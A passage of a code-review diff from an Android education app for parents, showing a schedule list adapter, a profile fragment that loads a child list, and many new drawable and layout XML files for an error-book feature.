190 if (schedules.size() > 0 && schedules.get(schedules.size() - 1).getDate().equals(date)) { 196 if (schedules.size() > 0 && schedules.get(schedules.size() - 1).getDate().equals(date)) {
191 schedules.get(schedules.size() - 1).getStrings().add(list.get(i).getSectionChildName()); 197 schedules.get(schedules.size() - 1).getStrings().add(list.get(i).getSectionChildName());
192 } else { 198 } else {
193 List<String> stringList = new ArrayList<>(); 199 List<String> stringList = new ArrayList<>();
194 Schedule schedule = new Schedule(); 200 Schedule schedule = new Schedule();
195 schedule.setDate(date); 201 schedule.setDate(date);
196 stringList.add(list.get(i).getSectionChildName()); 202 stringList.add(list.get(i).getSectionChildName());
197 schedule.setStrings(stringList); 203 schedule.setStrings(stringList);
198 schedules.add(schedule); 204 schedules.add(schedule);
199 } 205 }
200 } 206 }
201 BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_schedule, schedules) { 207 BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_schedule, schedules) {
202 @Override 208 @Override
203 protected void convert(@NonNull BaseViewHolder item, Object o) { 209 protected void convert(@NonNull BaseViewHolder item, Object o) {
204 Schedule schedule = schedules.get(item.getAdapterPosition()); 210 Schedule schedule = schedules.get(item.getAdapterPosition());
205 item.setText(R.id.tv_date, schedule.getDate()); 211 item.setText(R.id.tv_date, schedule.getDate());
206 LinearLayout layout = item.getView(R.id.ll_schedule); 212 LinearLayout layout = item.getView(R.id.ll_schedule);
207 for (int i = 0; i < schedule.getStrings().size(); i++) { 213 for (int i = 0; i < schedule.getStrings().size(); i++) {
208 View view = LayoutInflater.from(getContext()).inflate(R.layout.item_video, null); 214 View view = LayoutInflater.from(getContext()).inflate(R.layout.item_video, null);
209 TextView textView = view.findViewById(R.id.tv_name); 215 TextView textView = view.findViewById(R.id.tv_name);
210 textView.setText(schedule.getStrings().get(i)); 216 textView.setText(schedule.getStrings().get(i));
211 layout.addView(view); 217 layout.addView(view);
212 } 218 }
213 } 219 }
214 }; 220 };
215 recyclerView.setLayoutManager(new LinearLayoutManager(getContext(), RecyclerView.VERTICAL, false)); 221 recyclerView.setLayoutManager(new LinearLayoutManager(getContext(), RecyclerView.VERTICAL, false));
216 recyclerView.setAdapter(adapter); 222 recyclerView.setAdapter(adapter);
217 } 223 }
218 224
219 class Schedule { 225 class Schedule {
220 String date; 226 String date;
221 List<String> strings; 227 List<String> strings;
222 228
223 public void setDate(String date) { 229 public void setDate(String date) {
224 this.date = date; 230 this.date = date;
225 } 231 }
226 232
227 public void setStrings(List<String> strings) { 233 public void setStrings(List<String> strings) {
228 this.strings = strings; 234 this.strings = strings;
229 } 235 }
230 236
231 public String getDate() { 237 public String getDate() {
232 return date; 238 return date;
233 } 239 }
234 240
235 public List<String> getStrings() { 241 public List<String> getStrings() {
236 return strings; 242 return strings;
237 } 243 }
238 } 244 }
239 } 245 }
240 246
app/src/main/java/com/hjx/parent/fragment/MeFragment.java
1 package com.hjx.parent.fragment; 1 package com.hjx.parent.fragment;
2 2
3 import android.app.AlertDialog; 3 import android.app.AlertDialog;
4 import android.content.DialogInterface; 4 import android.content.DialogInterface;
5 import android.content.Intent; 5 import android.content.Intent;
6 import android.text.TextUtils; 6 import android.text.TextUtils;
7 import android.view.View; 7 import android.view.View;
8 import android.widget.ImageView; 8 import android.widget.ImageView;
9 import android.widget.TextView; 9 import android.widget.TextView;
10 import android.widget.Toast; 10 import android.widget.Toast;
11 11
12 import androidx.annotation.NonNull; 12 import androidx.annotation.NonNull;
13 import androidx.annotation.Nullable; 13 import androidx.annotation.Nullable;
14 import androidx.constraintlayout.widget.Group; 14 import androidx.constraintlayout.widget.Group;
15 import androidx.recyclerview.widget.LinearLayoutManager; 15 import androidx.recyclerview.widget.LinearLayoutManager;
16 import androidx.recyclerview.widget.RecyclerView; 16 import androidx.recyclerview.widget.RecyclerView;
17 17
18 import com.bumptech.glide.Glide; 18 import com.bumptech.glide.Glide;
19 import com.bumptech.glide.load.resource.bitmap.RoundedCorners; 19 import com.bumptech.glide.load.resource.bitmap.RoundedCorners;
20 import com.bumptech.glide.request.RequestOptions; 20 import com.bumptech.glide.request.RequestOptions;
21 import com.chad.library.adapter.base.BaseQuickAdapter; 21 import com.chad.library.adapter.base.BaseQuickAdapter;
22 import com.chad.library.adapter.base.BaseViewHolder; 22 import com.chad.library.adapter.base.BaseViewHolder;
23 import com.developer.wang.utils.PermissionUtils; 23 import com.developer.wang.utils.PermissionUtils;
24 import com.google.gson.Gson; 24 import com.google.gson.Gson;
25 import com.google.gson.JsonArray; 25 import com.google.gson.JsonArray;
26 import com.hjq.permissions.OnPermissionCallback; 26 import com.hjq.permissions.OnPermissionCallback;
27 import com.hjq.permissions.Permission; 27 import com.hjq.permissions.Permission;
28 import com.hjq.permissions.XXPermissions; 28 import com.hjq.permissions.XXPermissions;
29 import com.hjx.parent.AccountActivity; 29 import com.hjx.parent.AccountActivity;
30 import com.hjx.parent.AddStudentActivity; 30 import com.hjx.parent.AddStudentActivity;
31 import com.hjx.parent.EditStudentActivity; 31 import com.hjx.parent.EditStudentActivity;
32 import com.hjx.parent.LoginActivity; 32 import com.hjx.parent.LoginActivity;
33 import com.hjx.parent.MainActivity; 33 import com.hjx.parent.MainActivity;
34 import com.hjx.parent.QRActivity; 34 import com.hjx.parent.QRActivity;
35 import com.hjx.parent.R; 35 import com.hjx.parent.R;
36 import com.hjx.parent.UserActivity; 36 import com.hjx.parent.UserActivity;
37 import com.hjx.parent.YinsiActivity; 37 import com.hjx.parent.YinsiActivity;
38 import com.hjx.parent.bean.StudentBean; 38 import com.hjx.parent.bean.StudentBean;
39 import com.prws.common.base.BaseFragment; 39 import com.prws.common.base.BaseFragment;
40 import com.prws.common.net.NetWorks; 40 import com.prws.common.net.NetWorks;
41 import com.prws.common.utils.LogUtil; 41 import com.prws.common.utils.LogUtil;
42 import com.prws.common.utils.ScreenUtils; 42 import com.prws.common.utils.ScreenUtils;
43 import com.prws.common.utils.SharedPreferencesUtil; 43 import com.prws.common.utils.SharedPreferencesUtil;
44 44
45 import org.json.JSONArray; 45 import org.json.JSONArray;
46 import org.json.JSONObject; 46 import org.json.JSONObject;
47 47
48 import java.util.ArrayList; 48 import java.util.ArrayList;
49 import java.util.HashMap; 49 import java.util.HashMap;
50 import java.util.List; 50 import java.util.List;
51 import java.util.Map; 51 import java.util.Map;
52 52
53 import butterknife.BindView; 53 import butterknife.BindView;
54 import butterknife.OnClick; 54 import butterknife.OnClick;
55 import io.reactivex.Observer; 55 import io.reactivex.Observer;
56 import io.reactivex.disposables.Disposable; 56 import io.reactivex.disposables.Disposable;
57 import okhttp3.ResponseBody; 57 import okhttp3.ResponseBody;
58 58
59 public class MeFragment extends BaseFragment { 59 public class MeFragment extends BaseFragment {
60 @Override 60 @Override
61 protected int getLayoutRes() { 61 protected int getLayoutRes() {
62 return R.layout.fragment_me; 62 return R.layout.fragment_me;
63 } 63 }
64 64
65 Group group_1; 65 Group group_1;
66 TextView tv_name; 66 TextView tv_name;
67 TextView tv_phone; 67 TextView tv_phone;
68 ImageView iv_toux; 68 ImageView iv_toux;
69 RecyclerView recycle; 69 RecyclerView recycle;
70 70
71 @Override 71 @Override
72 protected void initDatas() { 72 protected void initDatas() {
73 super.initDatas(); 73 super.initDatas();
74 recycle = mRootView.findViewById(R.id.recycle); 74 recycle = mRootView.findViewById(R.id.recycle);
75 group_1 = mRootView.findViewById(R.id.group_1); 75 group_1 = mRootView.findViewById(R.id.group_1);
76 String role = (String) SharedPreferencesUtil.getData("role", ""); 76 String role = (String) SharedPreferencesUtil.getData("role", "");
77 String userId = (String) SharedPreferencesUtil.getData("userId", ""); 77 String userId = (String) SharedPreferencesUtil.getData("userId", "");
78 String token = (String) SharedPreferencesUtil.getData("token", ""); 78 String token = (String) SharedPreferencesUtil.getData("token", "");
79 String phone = (String) SharedPreferencesUtil.getData("phone", ""); 79 String phone = (String) SharedPreferencesUtil.getData("phone", "");
80 group_1.setVisibility(View.VISIBLE); 80 group_1.setVisibility(View.VISIBLE);
81 iv_toux = mRootView.findViewById(R.id.iv_toux); 81 iv_toux = mRootView.findViewById(R.id.iv_toux);
82 tv_name = mRootView.findViewById(R.id.tv_name); 82 tv_name = mRootView.findViewById(R.id.tv_name);
83 tv_phone = mRootView.findViewById(R.id.tv_phone); 83 tv_phone = mRootView.findViewById(R.id.tv_phone);
84 tv_phone.setVisibility(View.GONE); 84 tv_phone.setVisibility(View.GONE);
85 // tv_phone.setText(phone); 85 // tv_phone.setText(phone);
86 tv_name.setText(phone); 86 tv_name.setText(phone);
87 } 87 }
88 88
89 @Override 89 @Override
90 public void onResume() { 90 public void onResume() {
91 super.onResume(); 91 super.onResume();
92 String photo = (String) SharedPreferencesUtil.getData("photo", ""); 92 String photo = (String) SharedPreferencesUtil.getData("photo", "");
93 if (!TextUtils.isEmpty(photo)) { 93 if (!TextUtils.isEmpty(photo)) {
94 RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 45)); 94 RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 45));
95 RequestOptions options = RequestOptions.bitmapTransform(roundedCorners); 95 RequestOptions options = RequestOptions.bitmapTransform(roundedCorners);
96 Glide.with(getContext()).load(photo).apply(options).into(iv_toux); 96 Glide.with(getContext()).load(photo).apply(options).into(iv_toux);
97 } 97 }
98 loadChildList(); 98 loadChildList();
99 } 99 }
100 100
101 ArrayList<StudentBean> alist = new ArrayList<>(); 101 ArrayList<StudentBean> alist = new ArrayList<>();
102 102
103 public void loadChildList() { 103 public void loadChildList() {
104 NetWorks.listChildren(new Observer<ResponseBody>() { 104 NetWorks.listChildren(new Observer<ResponseBody>() {
105 @Override 105 @Override
106 public void onSubscribe(Disposable d) { 106 public void onSubscribe(Disposable d) {
107 107
108 } 108 }
109 109
110 @Override 110 @Override
111 public void onNext(ResponseBody responseBody) { 111 public void onNext(ResponseBody responseBody) {
112 try { 112 try {
113 113
114 String str = responseBody.string().toString(); 114 String str = responseBody.string().toString();
115 115
116 116
117 LogUtil.e("TAG", "----" + str); 117 LogUtil.e("TAG", "----" + str);
118 JSONObject jo = new JSONObject(str); 118 JSONObject jo = new JSONObject(str);
119 boolean isSucceed = jo.getBoolean("success"); 119 boolean isSucceed = jo.getBoolean("success");
120 if (isSucceed) { 120 if (isSucceed) {
121 JSONArray jarr = jo.getJSONArray("data"); 121 JSONArray jarr = jo.getJSONArray("data");
122 alist.clear(); 122 alist.clear();
123 for (int i = 0; i < jarr.length(); i++) { 123 for (int i = 0; i < jarr.length(); i++) {
124 JSONObject jo2 = jarr.getJSONObject(i); 124 JSONObject jo2 = jarr.getJSONObject(i);
125 Gson gson = new Gson(); 125 Gson gson = new Gson();
126 StudentBean sb = gson.fromJson(jo2.toString(), StudentBean.class); 126 StudentBean sb = gson.fromJson(jo2.toString(), StudentBean.class);
127 alist.add(sb); 127 alist.add(sb);
128 } 128 }
129 if (alist.size() > 0) { 129 if (alist.size() > 0) {
130 loadList(); 130 loadList();
131 } 131 }
132 132
133 } else { 133 } else {
134 134
135 } 135 }
136 } catch (Exception e) { 136 } catch (Exception e) {
137 e.printStackTrace(); 137 e.printStackTrace();
138 } 138 }
139 } 139 }
140 140
141 @Override 141 @Override
142 public void onError(Throwable e) { 142 public void onError(Throwable e) {
143 e.toString(); 143 e.toString();
144 } 144 }
145 145
146 @Override 146 @Override
147 public void onComplete() { 147 public void onComplete() {
148 148
149 } 149 }
150 }); 150 });
151 mRootView.findViewById(R.id.view_4).setOnClickListener(view -> startActivity(new Intent(getActivity(), YinsiActivity.class))); 151 mRootView.findViewById(R.id.view_4).setOnClickListener(view -> startActivity(new Intent(getActivity(), YinsiActivity.class)));
152 mRootView.findViewById(R.id.view_5).setOnClickListener(view -> startActivity(new Intent(getActivity(), UserActivity.class))); 152 mRootView.findViewById(R.id.view_5).setOnClickListener(view -> startActivity(new Intent(getActivity(), UserActivity.class)));
153 mRootView.findViewById(R.id.view_3).setOnClickListener(view -> startActivityForResult(new Intent(getActivity(), AccountActivity.class), 1003)); 153 mRootView.findViewById(R.id.view_3).setOnClickListener(view -> startActivityForResult(new Intent(getActivity(), AccountActivity.class), 1003));
154 } 154 }
155 155
156 // @Override 156 // @Override
157 // public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { 157 // public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
158 // super.onActivityResult(requestCode, resultCode, data); 158 // super.onActivityResult(requestCode, resultCode, data);
159 // Intent intent = new Intent(getActivity(), LoginActivity.class); 159 // Intent intent = new Intent(getActivity(), LoginActivity.class);
160 // startActivity(intent); 160 // startActivity(intent);
161 // getActivity().finish(); 161 // getActivity().finish();
162 // } 162 // }
163 163
164 public void loadList() { 164 public void loadList() {
165 StudentBean sb = new StudentBean(); 165 StudentBean sb = new StudentBean();
166 sb.setNickName("添加学生"); 166 sb.setNickName("添加学生");
167 alist.add(0, sb); 167 alist.add(0, sb);
168 BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_child, alist) { 168 BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_child, alist) {
169 @Override 169 @Override
170 public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) {
171
172 }
173
174 @Override
170 protected void convert(@NonNull BaseViewHolder item, Object o) { 175 protected void convert(@NonNull BaseViewHolder item, Object o) {
171 StudentBean studentBean = alist.get(item.getAdapterPosition()); 176 StudentBean studentBean = alist.get(item.getAdapterPosition());
172 item.setText(R.id.tv_name, studentBean.getNickName()); 177 item.setText(R.id.tv_name, studentBean.getNickName());
173 if (TextUtils.isEmpty(studentBean.getStuId())) { 178 if (TextUtils.isEmpty(studentBean.getStuId())) {
174 item.setImageResource(R.id.iv_avatar, R.mipmap.tjxss); 179 item.setImageResource(R.id.iv_avatar, R.mipmap.tjxss);
175 item.setVisible(R.id.iv_vip, false); 180 item.setVisible(R.id.iv_vip, false);
176 item.getConvertView().setOnClickListener(new View.OnClickListener() { 181 item.getConvertView().setOnClickListener(new View.OnClickListener() {
177 @Override 182 @Override
178 public void onClick(View view) { 183 public void onClick(View view) {
179 startActivity(new Intent(getActivity(), AddStudentActivity.class)); 184 startActivity(new Intent(getActivity(), AddStudentActivity.class));
180 } 185 }
181 }); 186 });
182 } else { 187 } else {
183 if (TextUtils.isEmpty(studentBean.getPhoto())) { 188 if (TextUtils.isEmpty(studentBean.getPhoto())) {
184 item.setImageResource(R.id.iv_avatar, studentBean.getGender() == 0 ? R.mipmap.ic_avatar_male : R.mipmap.ic_avatar_female); 189 item.setImageResource(R.id.iv_avatar, studentBean.getGender() == 0 ? R.mipmap.ic_avatar_male : R.mipmap.ic_avatar_female);
185 } else { 190 } else {
186 RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 45)); 191 RoundedCorners roundedCorners = new RoundedCorners(ScreenUtils.dpToPx(getContext(), 45));
187 RequestOptions options = RequestOptions.bitmapTransform(roundedCorners); 192 RequestOptions options = RequestOptions.bitmapTransform(roundedCorners);
188 Glide.with(getActivity()).load(studentBean.getPhoto()).apply(options).into((ImageView) item.getView(R.id.iv_avatar)); 193 Glide.with(getActivity()).load(studentBean.getPhoto()).apply(options).into((ImageView) item.getView(R.id.iv_avatar));
189 } 194 }
190 item.setVisible(R.id.iv_vip, !"虚拟".equals(studentBean.getTeacherIdentity())); 195 item.setVisible(R.id.iv_vip, !"虚拟".equals(studentBean.getTeacherIdentity()));
191 item.getConvertView().setOnClickListener(new View.OnClickListener() { 196 item.getConvertView().setOnClickListener(new View.OnClickListener() {
192 @Override 197 @Override
193 public void onClick(View view) { 198 public void onClick(View view) {
194 startActivity(new Intent(getActivity(), EditStudentActivity.class).putExtra("student", new Gson().toJson(studentBean))); 199 startActivity(new Intent(getActivity(), EditStudentActivity.class).putExtra("student", new Gson().toJson(studentBean)));
195 } 200 }
196 }); 201 });
197 } 202 }
198 } 203 }
199 }; 204 };
200 recycle.setLayoutManager(new LinearLayoutManager(getContext(), LinearLayoutManager.HORIZONTAL, false)); 205 recycle.setLayoutManager(new LinearLayoutManager(getContext(), LinearLayoutManager.HORIZONTAL, false));
201 recycle.setAdapter(adapter); 206 recycle.setAdapter(adapter);
202 } 207 }
203 208
204 } 209 }
205 210
app/src/main/res/drawable/bg_cut_select.xml
File was created 1 <shape xmlns:android="http://schemas.android.com/apk/res/android"
2 android:shape="rectangle">
3 <solid android:color="#331C90F3" />
4 <stroke
5 android:width="1dp"
6 android:color="#1C90F3" />
7 </shape>
app/src/main/res/drawable/bg_cut_unselect.xml
File was created 1 <shape xmlns:android="http://schemas.android.com/apk/res/android"
2 android:shape="rectangle">
3 <solid android:color="#33000000" />
4 <stroke
5 android:width="1dp"
6 android:color="#999999" />
7 </shape>
app/src/main/res/drawable/bg_done_text.xml
File was created 1 <shape xmlns:android="http://schemas.android.com/apk/res/android"
2 android:shape="rectangle">
3 <solid android:color="@color/error_blue" />
4 <corners android:radius="5dp" />
5 </shape>
app/src/main/res/drawable/bg_item_video_10.xml
1 <?xml version="1.0" encoding="utf-8"?> 1 <?xml version="1.0" encoding="utf-8"?>
2 <shape xmlns:android="http://schemas.android.com/apk/res/android" 2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 android:shape="rectangle"> 3 android:shape="rectangle">
4 4
5 <solid android:color="#FFF9F6" /> 5 <solid android:color="#FFFFFF" />
6 6
7 <corners 7 <corners android:radius="10dp" />
8 android:radius="10dp"
9 />
10 8
11 </shape> 9 </shape>
app/src/main/res/drawable/bg_soild_blue_25.xml
File was created 1 <?xml version="1.0" encoding="utf-8"?>
2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 android:shape="rectangle">
4
5 <solid android:color="#1C90F3" />
6
7 <corners android:radius="25dp" />
8
9 </shape>
app/src/main/res/drawable/bg_soild_blue_5.xml
File was created 1 <?xml version="1.0" encoding="utf-8"?>
2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 android:shape="rectangle">
4
5 <solid android:color="#1C90F3" />
6
7 <corners android:radius="5dp" />
8
9 </shape>
app/src/main/res/drawable/bg_soild_blue_border_25.xml
File was created 1 <?xml version="1.0" encoding="utf-8"?>
2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 android:shape="rectangle">
4
5 <solid android:color="@color/white" />
6
7 <corners android:radius="25dp" />
8 <stroke
9 android:width="1dp"
10 android:color="#1C90F3" />
11 </shape>
app/src/main/res/drawable/bg_soild_blue_light_5.xml
File was created 1 <?xml version="1.0" encoding="utf-8"?>
2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 android:shape="rectangle">
4
5 <solid android:color="#8DC7F9" />
6
7 <corners android:radius="5dp" />
8
9 </shape>
app/src/main/res/drawable/bg_soild_gray_5.xml
File was created 1 <?xml version="1.0" encoding="utf-8"?>
2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 android:shape="rectangle">
4
5 <solid android:color="#F5F5F5" />
6
7 <corners android:radius="5dp" />
8
9 </shape>
app/src/main/res/drawable/bg_soild_orange_5.xml
File was created 1 <?xml version="1.0" encoding="utf-8"?>
2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 android:shape="rectangle">
4
5 <solid android:color="#FF8610" />
6
7 <corners android:radius="5dp" />
8
9 </shape>
app/src/main/res/drawable/bg_solid_white.xml
1 <?xml version="1.0" encoding="utf-8"?> 1 <?xml version="1.0" encoding="utf-8"?>
2 <shape xmlns:android="http://schemas.android.com/apk/res/android" 2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 android:shape="rectangle"> 3 android:shape="rectangle">
4 4
5 <solid android:color="#F7F8FA" /> 5 <solid android:color="#FFFFFF" />
6 6
7 <corners 7 <corners android:radius="25dp" />
8 android:radius="25dp"
9 />
10 8
11 </shape> 9 </shape>
app/src/main/res/drawable/bg_solid_white_10.xml
1 <?xml version="1.0" encoding="utf-8"?> 1 <?xml version="1.0" encoding="utf-8"?>
2 <shape xmlns:android="http://schemas.android.com/apk/res/android" 2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 android:shape="rectangle"> 3 android:shape="rectangle">
4 4
5 <solid android:color="#FFFFFF" /> 5 <solid android:color="#FFFFFF" />
6 6
7 <corners 7 <corners android:radius="10dp" />
8 android:radius="10dp"
9 />
10 8
11 </shape> 9 </shape>
app/src/main/res/drawable/bg_solid_white_10_top.xml
1 <?xml version="1.0" encoding="utf-8"?> 1 <?xml version="1.0" encoding="utf-8"?>
2 <shape xmlns:android="http://schemas.android.com/apk/res/android" 2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 android:shape="rectangle"> 3 android:shape="rectangle">
4 4
5 <solid android:color="#FFFFFF" /> 5 <solid android:color="#FFFFFF" />
6 6
7 <corners 7 <corners
8 android:topRightRadius="10dp"
9 android:topLeftRadius="10dp" 8 android:topLeftRadius="10dp"
10 /> 9 android:topRightRadius="10dp" />
11 10
12 </shape> 11 </shape>
app/src/main/res/drawable/bg_solid_white_20.xml
1 <?xml version="1.0" encoding="utf-8"?> 1 <?xml version="1.0" encoding="utf-8"?>
2 <shape xmlns:android="http://schemas.android.com/apk/res/android" 2 <shape xmlns:android="http://schemas.android.com/apk/res/android"
3 android:shape="rectangle"> 3 android:shape="rectangle">
4 4
5 <solid android:color="#FFFFFF" /> 5 <solid android:color="#FFFFFF" />
6 6
7 <corners 7 <corners
8 android:topLeftRadius="20dp" 8 android:topLeftRadius="20dp"
9 android:topRightRadius="20dp" 9 android:topRightRadius="20dp" />
10 />
11 10
12 </shape> 11 </shape>
app/src/main/res/drawable/bg_undo_text.xml
File was created 1 <shape xmlns:android="http://schemas.android.com/apk/res/android"
2 android:shape="rectangle">
3 <solid android:color="@color/undo_red" />
4 <corners android:radius="5dp" />
5 </shape>
app/src/main/res/drawable/button_select_topic_bg.xml
File was created 1 <shape xmlns:android="http://schemas.android.com/apk/res/android"
2 android:shape="rectangle">
3 <stroke
4 android:width="1dp"
5 android:color="#1C90F3" />
6 <solid android:color="@color/white" />
7 <corners android:radius="5dp" />
8 </shape>
app/src/main/res/drawable/button_topic_bg.xml
File was created 1 <shape xmlns:android="http://schemas.android.com/apk/res/android"
2 android:shape="rectangle">
3 <stroke
4 android:width="1dp"
5 android:color="#CCCCCC" />
6 <solid android:color="@color/white" />
7 <corners android:radius="5dp" />
8 </shape>
app/src/main/res/drawable/checkbox_check.png

632 Bytes

app/src/main/res/drawable/checkbox_checked.png

825 Bytes

app/src/main/res/drawable/checkbox_selector.xml
File was created 1 <?xml version="1.0" encoding="UTF-8"?>
2 <selector xmlns:android="http://schemas.android.com/apk/res/android">
3 <item android:drawable="@drawable/checkbox_checked" android:state_checked="true" />
4 <item android:drawable="@drawable/checkbox_check" android:state_checked="false" />
5 </selector>
app/src/main/res/drawable/filter_button_selector.xml
File was created 1 <selector xmlns:android="http://schemas.android.com/apk/res/android">
2 <item android:drawable="@drawable/bg_soild_blue_25" android:state_checked="true" />
3 <item android:drawable="@drawable/bg_solid_btn_grad" android:state_checked="false" />
4 </selector>
app/src/main/res/drawable/ic_filter_blue.png

161 Bytes

app/src/main/res/drawable/ic_filter_gray.png

153 Bytes

app/src/main/res/drawable/ic_pack_down.png

278 Bytes

app/src/main/res/drawable/ic_pack_up.png

308 Bytes

app/src/main/res/drawable/ic_select.png

619 Bytes

app/src/main/res/drawable/ic_unselect.png

458 Bytes

app/src/main/res/drawable/radio_button_selector.xml
File was created 1 <selector xmlns:android="http://schemas.android.com/apk/res/android">
2 <item android:drawable="@drawable/bg_soild_blue_5" android:state_checked="true" />
3 <item android:drawable="@drawable/bg_soild_gray_5" android:state_checked="false" />
4 </selector>
app/src/main/res/drawable/radio_text_selector.xml
File was created 1 <selector xmlns:android="http://schemas.android.com/apk/res/android">
2 <item android:color="@color/white" android:state_checked="true" />
3 <item android:color="@color/text_title" android:state_checked="false" />
4 </selector>
app/src/main/res/drawable/selectall_selector.xml
File was created 1 <?xml version="1.0" encoding="UTF-8"?>
2 <selector xmlns:android="http://schemas.android.com/apk/res/android">
3 <item android:drawable="@drawable/ic_select" android:state_checked="true" />
4 <item android:drawable="@drawable/ic_unselect" android:state_checked="false" />
5 </selector>
app/src/main/res/drawable/selector_for_custom_spinner.xml
File was created 1 <?xml version="1.0" encoding="utf-8"?>
2 <layer-list xmlns:android="http://schemas.android.com/apk/res/android">
3 <item>
4 <shape>
5 <corners android:radius="5dp" />
6 <solid android:color="#F5F5F5" />
7
8 </shape>
9 </item>
10 <item
11 android:right="15dp"
12 android:top="18dp">
13 <bitmap
14 android:gravity="end|top"
15 android:src="@drawable/ic_pack_down" />
16
17 </item>
18 </layer-list>
19
app/src/main/res/drawable/shape_for_custom_spinner.xml
File was created 1 <?xml version="1.0" encoding="utf-8"?>
2 <layer-list xmlns:android="http://schemas.android.com/apk/res/android">
3 <item>
4 <shape>
5 <corners android:radius="5dp" />
6 <solid android:color="#F5F5F5" />
7
8 </shape>
9 </item>
10 <item
11 android:right="15dp"
12 android:top="18dp">
13 <bitmap
14 android:gravity="end|top"
15 android:src="@drawable/ic_pack_up" />
16 </item>
17 </layer-list>
app/src/main/res/drawable/topic_finish_bg.xml
File was created 1 <shape xmlns:android="http://schemas.android.com/apk/res/android"
2 android:shape="rectangle">
3 <stroke
4 android:width="1dp"
5 android:color="#1C90F3" />
6 <solid android:color="#331C90F3" />
7 <corners android:radius="5dp" />
8 </shape>
app/src/main/res/layout/activity_add_success.xml
File was created 1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 xmlns:tools="http://schemas.android.com/tools"
3 xmlns:xxx="http://schemas.android.com/apk/res-auto"
4 android:layout_width="match_parent"
5 android:layout_height="match_parent"
6 android:background="@color/white">
7
8 <RelativeLayout
9 android:layout_width="match_parent"
10 android:layout_height="40dp"
11 android:background="@color/white">
12
13
14 <ImageView
15 android:id="@+id/iv_back"
16 android:layout_width="30dp"
17 android:layout_height="36dp"
18 android:layout_centerVertical="true"
19 android:layout_marginLeft="5dp"
20 android:padding="10dp"
21 android:src="@mipmap/icon_back" />
22 </RelativeLayout>
23
24 <LinearLayout
25 android:layout_width="wrap_content"
26 android:layout_height="wrap_content"
27 android:layout_centerInParent="true"
28 android:orientation="vertical">
29
30 <ImageView
31 android:layout_width="50dp"
32 android:layout_height="58dp"
33 android:layout_gravity="center_horizontal"
34 android:src="@mipmap/ic_add_success" />
35
36 <TextView
37 android:layout_width="wrap_content"
38 android:layout_height="wrap_content"
39 android:layout_gravity="center_horizontal"
40 android:layout_marginTop="20dp"
41 android:text="加入错题本成功!"
42 android:textColor="@color/text_title"
43 android:textSize="20dp"
44 android:textStyle="bold" />
45
46
47 <TextView
48 android:id="@+id/tv_add"
49 android:layout_width="250dp"
50 android:layout_height="45dp"
51 android:layout_marginTop="40dp"
52 android:background="@drawable/bg_soild_blue_25"
53 android:gravity="center"
54 android:text="继续录入错题"
55 android:textColor="@color/white"
56 android:textSize="20sp"
57 android:visibility="visible" />
58
59 <TextView
60 android:id="@+id/tv_book"
61 android:layout_width="250dp"
62 android:layout_height="45dp"
63 android:layout_marginTop="20dp"
64 android:background="@drawable/bg_soild_blue_border_25"
65 android:gravity="center"
66 android:text="去错题本查看"
67 android:textColor="#1C90F3"
68 android:textSize="20sp"
69 android:visibility="visible" />
70 </LinearLayout>
71 </RelativeLayout>
72
app/src/main/res/layout/activity_error_book.xml
File was created 1 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:layout_width="match_parent"
3 android:layout_height="match_parent"
4 android:orientation="vertical">
5
6 <RelativeLayout
7 android:layout_width="match_parent"
8 android:layout_height="40dp">
9
10 <TextView
11 android:layout_width="wrap_content"
12 android:layout_height="wrap_content"
13 android:layout_centerInParent="true"
14 android:text="小星错题本"
15 android:textColor="#333333"
16 android:textSize="18sp" />
17
18 <ImageView
19 android:id="@+id/iv_back"
20 android:layout_width="30dp"
21 android:layout_height="36dp"
22 android:layout_centerVertical="true"
23 android:layout_marginLeft="5dp"
24 android:padding="10dp"
25 android:src="@mipmap/icon_back" />
26 </RelativeLayout>
27
28 <RelativeLayout
29 android:id="@+id/rl_take_photo"
30 android:layout_width="match_parent"
31 android:layout_height="200dp"
32 android:background="@mipmap/ic_take_photo">
33
34 <TextView
35 android:layout_width="wrap_content"
36 android:layout_height="wrap_content"
37 android:layout_alignParentRight="true"
38 android:layout_centerVertical="true"
39 android:layout_marginRight="70dp"
40 android:text="录入错题"
41 android:textColor="#EDF6FF"
42 android:textSize="22sp"
43 android:textStyle="bold" />
44 </RelativeLayout>
45
46 <RelativeLayout
47 android:layout_width="match_parent"
48 android:layout_height="25dp">
49
50 <TextView
51 android:layout_width="wrap_content"
52 android:layout_height="wrap_content"
53 android:layout_marginLeft="15dp"
54 android:text="最近录入错题"
55 android:textColor="#333333"
56 android:textSize="16sp"
57 android:textStyle="bold" />
58
59 <LinearLayout
60 android:id="@+id/ll_all"
61 android:layout_width="wrap_content"
62 android:layout_height="wrap_content"
63 android:layout_alignParentRight="true"
64 android:layout_centerVertical="true"
65 android:layout_marginRight="15dp">
66
67 <TextView
68 android:layout_width="wrap_content"
69 android:layout_height="wrap_content"
70 android:layout_gravity="center_vertical"
71 android:text="查看全部"
72 android:textColor="#666666"
73 android:textSize="12sp" />
74
75 <ImageView
76 android:layout_width="9dp"
77 android:layout_height="10dp"
78 android:layout_gravity="center_vertical"
79 android:layout_marginLeft="5dp"
80 android:src="@mipmap/ic_arrow_right" />
81 </LinearLayout>
82 </RelativeLayout>
83
84 <androidx.recyclerview.widget.RecyclerView
85 android:id="@+id/recycle_subject"
86 android:layout_width="match_parent"
87 android:layout_height="wrap_content"
88 android:layout_marginLeft="15dp"
